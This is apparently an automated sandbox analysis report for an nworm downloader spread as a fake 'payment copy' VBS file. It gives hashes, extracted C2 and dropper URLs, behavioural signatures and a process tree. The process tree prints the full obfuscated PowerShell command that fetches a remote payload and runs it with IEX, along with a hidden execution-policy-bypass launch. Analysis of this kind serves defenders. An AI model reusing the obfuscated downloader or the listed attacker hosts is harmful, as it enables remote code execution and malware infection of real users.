nworm | 1aa032a3d316f19de0c0946185eb7331aa1270d52882550c867eae1ce540ade1

General

Target

KVDKGYBAXAKQX_PAYMENT_COPY.vbs
Size

9KB
MD5

8ade0a04317db340d7dcdc9a4b32c795
SHA1

30350a6e2339507039e86a68a99958b1d9dea157
SHA256

1aa032a3d316f19de0c0946185eb7331aa1270d52882550c867eae1ce540ade1
SHA512

7572ebc9ae53a8639285b849fa972d4f40eaf3a923e43430f85337a73810bdeb487d0231ffdb4f0391442c2acdb244ab03063ed0ddc78cd12248431476c2cdaf

Score

10^/10

nworm downloader worm

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://transfer.sh/get/gnXbHK/ServerSHJWIJW8292.txt

Extracted

Family

nworm

Version

v0.3.8

C2

nyanwmoney.duckdns.org:8891

Mutex

594274bc

Signatures

NWorm
A TrickBot module used to propagate to vulnerable domain controllers.
worm downloader nworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4180	3488	POWERSHELL.exe	79

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	4180	POWERSHELL.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 444 set thread context of 1300	444	powershell.exe	90

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4180	POWERSHELL.exe
4180	POWERSHELL.exe
444	powershell.exe
444	powershell.exe
444	powershell.exe
444	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4180	POWERSHELL.exe
Token: SeDebugPrivilege	444	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4180 wrote to memory of 444	4180	POWERSHELL.exe	88
PID 4180 wrote to memory of 444	4180	POWERSHELL.exe	88
PID 444 wrote to memory of 4876	444	powershell.exe	89
PID 444 wrote to memory of 4876	444	powershell.exe	89
PID 444 wrote to memory of 4876	444	powershell.exe	89
PID 444 wrote to memory of 1300	444	powershell.exe	90
PID 444 wrote to memory of 1300	444	powershell.exe	90
PID 444 wrote to memory of 1300	444	powershell.exe	90
PID 444 wrote to memory of 1300	444	powershell.exe	90
PID 444 wrote to memory of 1300	444	powershell.exe	90
PID 444 wrote to memory of 1300	444	powershell.exe	90
PID 444 wrote to memory of 1300	444	powershell.exe	90
PID 444 wrote to memory of 1300	444	powershell.exe	90

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\KVDKGYBAXAKQX_PAYMENT_COPY.vbs"
1⤵
PID:4376

C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.exe
POWERSHELL $Hx = 'https://transfer.sh/get/gnXbHK/ServerSHJWIJW8292.txt';$HB=('{2}{0}{1}' -f'\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{l\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{o\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{a\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{d\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{'.Replace('\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{',''),'9$6%(_209}!#/[!+{/25&&27176=/]/76/=1=+-6+0%1_8+*#\4=7/9=#<%#%0@#]57140/36]$731*{^)!1-718_<)-8@+#/25s9$6%(_209}!#/[!+{/25&&27176=/]/76/=1=+-6+0%1_8+*#\4=7/9=#<%#%0@#]57140/36]$731*{^)!1-718_<)-8@+#/25t9$6%(_209}!#/[!+{/25&&27176=/]/76/=1=+-6+0%1_8+*#\4=7/9=#<%#%0@#]57140/36]$731*{^)!1-718_<)-8@+#/25r9$6%(_209}!#/[!+{/25&&27176=/]/76/=1=+-6+0%1_8+*#\4=7/9=#<%#%0@#]57140/36]$731*{^)!1-718_<)-8@+#/25i9$6%(_209}!#/[!+{/25&&27176=/]/76/=1=+-6+0%1_8+*#\4=7/9=#<%#%0@#]57140/36]$731*{^)!1-718_<)-8@+#/25n9$6%(_209}!#/[!+{/25&&27176=/]/76/=1=+-6+0%1_8+*#\4=7/9=#<%#%0@#]57140/36]$731*{^)!1-718_<)-8@+#/25g9$6%(_209}!#/[!+{/25&&27176=/]/76/=1=+-6+0%1_8+*#\4=7/9=#<%#%0@#]57140/36]$731*{^)!1-718_<)-8@+#/25'.Replace('9$6%(_209}!#/[!+{/25&&27176=/]/76/=1=+-6+0%1_8+*#\4=7/9=#<%#%0@#]57140/36]$731*{^)!1-718_<)-8@+#/25',''),'&1+$3/2&0^3_@#+][<!__4<!4+7[}6282]2-}682=++=(!8!*%[#(@%#2!!#-6+4%})^@\3_-9/<#8={$[0@!)__#)=%[}0&<(9D&1+$3/2&0^3_@#+][<!__4<!4+7[}6282]2-}682=++=(!8!*%[#(@%#2!!#-6+4%})^@\3_-9/<#8={$[0@!)__#)=%[}0&<(9o&1+$3/2&0^3_@#+][<!__4<!4+7[}6282]2-}682=++=(!8!*%[#(@%#2!!#-6+4%})^@\3_-9/<#8={$[0@!)__#)=%[}0&<(9w&1+$3/2&0^3_@#+][<!__4<!4+7[}6282]2-}682=++=(!8!*%[#(@%#2!!#-6+4%})^@\3_-9/<#8={$[0@!)__#)=%[}0&<(9n&1+$3/2&0^3_@#+][<!__4<!4+7[}6282]2-}682=++=(!8!*%[#(@%#2!!#-6+4%})^@\3_-9/<#8={$[0@!)__#)=%[}0&<(9'.Replace('&1+$3/2&0^3_@#+][<!__4<!4+7[}6282]2-}682=++=(!8!*%[#(@%#2!!#-6+4%})^@\3_-9/<#8={$[0@!)__#)=%[}0&<(9',''));$HBB=('{2}{0}{1}' -f'\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{e\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{b\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{C\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{l\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{'.Replace('\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{',''),'\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{i\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{e\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{n\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{t\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{'.Replace('\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{',''),'\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{Ne\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{t\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{.W\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{'.Replace('\##)]74/5_472\8}3{_()8+&{09}39^}0}0@8(7[<5</&!@4%8&]3%}_+[}(/0]]59]7)[*^*{)%9=1%\6@}=)-[<)_#-)\+83{',''));$GSUAKNINNSESVPWHEQDXGURPSZLTOWJENLREXSBRNWNLWJBZJXDWWSWOHCQSHEDVYNSJYNALEJCJUSOTCFSJPKQUOZHBDYGCLWY=('{2}{0}{1}' -f'{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9w-O{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9b{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9j{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9e{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9c{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9t ${=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9H{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9'.Replace('{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9',''),'{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9BB{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9).$H{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9B({=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9$H{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9x){=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9'.Replace('{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9',''),'{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9I{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9`E{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9`X({=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9Ne{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9'.Replace('{=-<)@6_0#%1{(*/]]0-}5/3=6)}\<$1}</2+]_16/!8/)/[0[$__}%)-_8%-!-!<%6}_^9<70([}+548-&2&{!1&001_79}7<9',''));$HBBBBB = ($GSUAKNINNSESVPWHEQDXGURPSZLTOWJENLREXSBRNWNLWJBZJXDWWSWOHCQSHEDVYNSJYNALEJCJUSOTCFSJPKQUOZHBDYGCLWY -Join '')|I`E`X
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoE -Nop -NonI -WIndoWSTYLe HiDdeN -ExecutionPolicy Bypass -file C:\ProgramData\PRESFGEQTFRWEEHBFXQXJU\PRESFGEQTFRWEEHBFXQXJU.ps1
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:444
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:4876
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:1300

Network

MITRE ATT&CK Matrix

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Downloads

memory/444-139-0x00000238EE576000-0x00000238EE578000-memory.dmp

Filesize
8KB

Download
memory/444-135-0x00007FFF89F30000-0x00007FFF8A9F1000-memory.dmp

Filesize
10.8MB

Download
memory/444-137-0x00000238EE570000-0x00000238EE572000-memory.dmp

Filesize
8KB

Download
memory/444-136-0x00000238EE573000-0x00000238EE575000-memory.dmp

Filesize
8KB

Download
memory/444-140-0x00000238F09D0000-0x00000238F09EA000-memory.dmp

Filesize
104KB

Download
memory/1300-141-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/1300-142-0x00000000746F0000-0x0000000074EA0000-memory.dmp

Filesize
7.7MB

Download
memory/1300-143-0x0000000005990000-0x0000000005991000-memory.dmp

Filesize
4KB

Download
memory/4180-132-0x0000026C0C3A0000-0x0000026C0C3A2000-memory.dmp

Filesize
8KB

Download
memory/4180-133-0x0000026C0C3A3000-0x0000026C0C3A5000-memory.dmp

Filesize
8KB

Download
memory/4180-134-0x0000026C0C3A6000-0x0000026C0C3A8000-memory.dmp

Filesize
8KB

Download
memory/4180-131-0x00007FFF89F30000-0x00007FFF8A9F1000-memory.dmp

Filesize
10.8MB

Download
memory/4180-130-0x0000026C0C470000-0x0000026C0C492000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

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Downloads